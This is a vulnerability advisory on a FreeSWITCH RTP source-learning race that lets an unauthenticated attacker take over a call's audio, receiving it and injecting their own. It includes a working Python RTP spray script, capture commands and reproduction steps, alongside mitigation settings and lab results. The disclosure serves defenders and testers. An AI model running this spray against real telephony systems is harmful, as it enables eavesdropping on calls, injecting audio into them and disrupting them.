Skip to main content

FreeSWITCH: RTP Bleed and RTP Inject through unvalidated source learning

Critical 9.3

TL;DR

Upgrading to FreeSWITCH 1.11.2 alone does not close this issue. Configure both new RTP source-learning controls before RTP session creation; both default to zero.

An unauthenticated attacker who can reach a FreeSWITCH media port during call setup may win its RTP source-learning race. On a plaintext RTP call, this can redirect audio to the attacker, inject attacker-supplied audio, and stop media delivery to the legitimate endpoint. The attacker need not already be on the media path.

Description

RTP source learning allows media from endpoints behind NAT when the source address differs from the address signalled in SDP. FreeSWITCH counted packets from all non-negotiated sources in one session-wide tally. A packet from the SDP-negotiated source closed the learning window immediately. If the tally reached its threshold first, FreeSWITCH adopted the source of the threshold-crossing packet and the legitimate endpoint could no longer reclaim the session.

On plaintext RTP this causes both:

  • RTP Bleed: FreeSWITCH sends call media to the attacker.
  • RTP Inject: FreeSWITCH accepts attacker RTP as call media.

The attacker does not need to be on the media path or authenticated. The attacker can target a known media port or continuously spray the configured RTP range before and during call setup.

Technical details

The vulnerable decision is in rtp_common_read() in src/switch_rtp.c:

if (++rtp_session->autoadj_tally >= rtp_session->autoadj_threshold) {
    ...
    switch_rtp_set_remote_address(rtp_session, tx_host,
        switch_sockaddr_get_port(rtp_session->rtp_from_addr),
        0, SWITCH_FALSE, &err);
    switch_rtp_clear_flag(rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
}

The tally was session-wide rather than per source. Once the threshold was reached, remote_addr changed to the threshold-crossing source and auto-adjustment closed. FreeSWITCH then transmitted to that source and accepted its subsequent packets.

We verified the behaviour with separate FreeSWITCH, attacker, and legitimate endpoint containers. The attacker sent RTP first and the endpoint started 400 ms later. Marker-based application injection was measured on vulnerable 1.10.12 and mitigated 1.11.2; default 1.11.2 was separately confirmed to retain the attacker-controlled media path.

Build and configurationLegitimate endpointAttackerEcho result
1.10.12, default11 early packets, then none19 media packets19 attacker-marker packets, 0 legitimate-marker packets
1.11.2, default10 early packets, then none21 media packetsattacker retained the media path
1.11.2, both controls configured30 packets after sending began2 transient outbound packets0 attacker-marker packets, 30 legitimate-marker packets

The marker results confirm injection at the application level rather than only an address change. In this test, the configured 1.11.2 controls prevented persistent takeover and application-level injection, but did not prevent all transient disclosure: two outbound packets still reached the attacker before the advertised source was confirmed.

Impact

Successful exploitation compromises the confidentiality, integrity, and availability of one plaintext RTP call. FreeSWITCH sends the audio to the attacker, accepts attacker-supplied media, and stops delivering media to the legitimate endpoint. SIP signalling remains established, but the call is unusable for the affected party.

FreeSWITCH 1.11.1 and earlier are affected by default. FreeSWITCH 1.11.2 also remains affected with the new controls at their default zero values. Configuring both mitigated persistent takeover in our tests, but two transient outbound packets still reached the attacker. The demonstrated confidentiality and integrity impact is limited to plaintext RTP; an attacker without the session keys cannot decrypt or inject valid SRTP. The separate established-session flood is described in ES2026-08.

A blind attack becomes more expensive as the RTP range grows. Against an endpoint that sent immediately, our single sender won 5/5 trials across 21 ports and 0/5 across 101 ports. With 100 to 400 ms test delays, it won consistently across 101 ports. We did not test FreeSWITCH’s default 16,385-port range. More bandwidth, parallel senders, knowledge of the allocated port, or a slower endpoint favour the attacker.

How to reproduce the issue

Use only systems you own or are authorized to test. Use separate hosts or containers for FreeSWITCH, the attacker, and the legitimate SIP endpoint. The Docker Compose before/after lab compares 1.10.12, default 1.11.2, and 1.11.2 with both controls enabled; it also includes a copy of the manual sender.

  1. Install FreeSWITCH 1.10.12, or FreeSWITCH 1.11.2 with default settings.

  2. Configure RTP ports 30000-30020 and a dialplan extension that answers and runs echo. Do not use ICE.

  3. On the attacker host, start a capture:

    tcpdump -i any -w /tmp/freeswitch-rtp.pcap src host <freeswitch-ip> and not icmp
    
  4. Save this as sprayrtp.py:

    import argparse
    import socket
    import struct
    import time
    
    parser = argparse.ArgumentParser()
    parser.add_argument("target")
    parser.add_argument("start_port", type=int)
    parser.add_argument("end_port", type=int)
    parser.add_argument("--seconds", type=float, default=10.0)
    args = parser.parse_args()
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(("0.0.0.0", 41000))
    sequence = {port: 0 for port in range(args.start_port, args.end_port + 1)}
    
    sent = 0
    deadline = time.monotonic() + args.seconds
    while time.monotonic() < deadline:
        for port in sequence:
            seq = sequence[port]
            packet = struct.pack("!BBHII", 0x80, 0, seq, seq * 160, 0x51515151)
            packet += b"\x11" * 160
            sock.sendto(packet, (args.target, port))
            sequence[port] = (seq + 1) & 0xffff
            sent += 1
    print(f"sent={sent}")
    
  5. Start the spray before placing the call. Use an IP address; resolving a hostname on every send reduced the measured rate enough to lose the race.

    python3 sprayrtp.py <freeswitch-ip> 30000 30020 --seconds 10
    

    This test can generate roughly 1 Gbit/s in the isolated lab. Keep the duration short and do not run it across a production or shared network.

  6. Call the echo extension from the legitimate endpoint and send PCMU RTP.

On a vulnerable system, /usr/local/freeswitch/log/freeswitch.log records Auto Changing audio port to the attacker address and port 41000. The attacker receives RTP from FreeSWITCH while the legitimate endpoint loses media. To confirm application-level injection, open /tmp/freeswitch-rtp.pcap in Wireshark and inspect the returned RTP payload for the repeated 0x11 marker sent by the attacker script.

Repeat on FreeSWITCH 1.11.2 with media negotiation deferred to the dialplan and both controls set before answer. The validated lab used this SIP-profile setting:

<param name="inbound-late-negotiation" value="true"/>

The dialplan applied the controls before media session creation:

<action application="set" data="rtp_auto_adjustment_wait_for_advertised_ms=3000"/>
<action application="set" data="rtp_packet_not_advertised_reject_threshold=5"/>
<action application="answer"/>
<action application="echo"/>

The advertised endpoint should retain the media path and attacker-marker packets should not enter the call. In our test, two transient outbound packets still reached the attacker during initial learning. Treat 3000 and 5 as validation values and test deployment-specific values before production use.

When finished, stop tcpdump, hang up the test call, remove the helper script and capture if they are no longer needed, and restore the original RTP range and SIP-profile/dialplan configuration.

Solutions and recommendations

  1. Upgrade to FreeSWITCH 1.11.2 or later to obtain the new controls. The upgrade alone does not mitigate this source-learning race. The vendor GHSA’s structured package metadata lists 1.11.2 as patched, but its advisory text says both controls default to zero. Check the effective channel settings rather than relying on the version alone.

  2. Before RTP session creation, configure both:

    rtp_auto_adjustment_wait_for_advertised_ms
    rtp_packet_not_advertised_reject_threshold
    

    We validated 3000 ms and a threshold of 5 together. These are test values, not universal production defaults. Tune them for the deployment’s NAT behaviour, packetization interval, and expected burstiness.

  3. Where practical, use ICE with authenticated connectivity checks or disable RTP auto-adjustment. Disabling it can break media for endpoints behind NAT.

  4. Restrict media UDP access where topology permits and monitor unexpected Auto Changing audio port entries.

After configuring the controls, verify that a non-advertised source cannot retain the media destination after the SDP-advertised endpoint begins sending. Our configured test still observed two transient outbound packets before confirmation, so do not treat this mitigation as a guarantee that no media can ever reach a racing source.

Acknowledgements

We thank the FreeSWITCH and SignalWire maintainers for developing and releasing the hardening changes and for engaging with us during testing.

About Enable Security

Enable Security develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

Disclosure policy

This report is subject to Enable Security’s vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.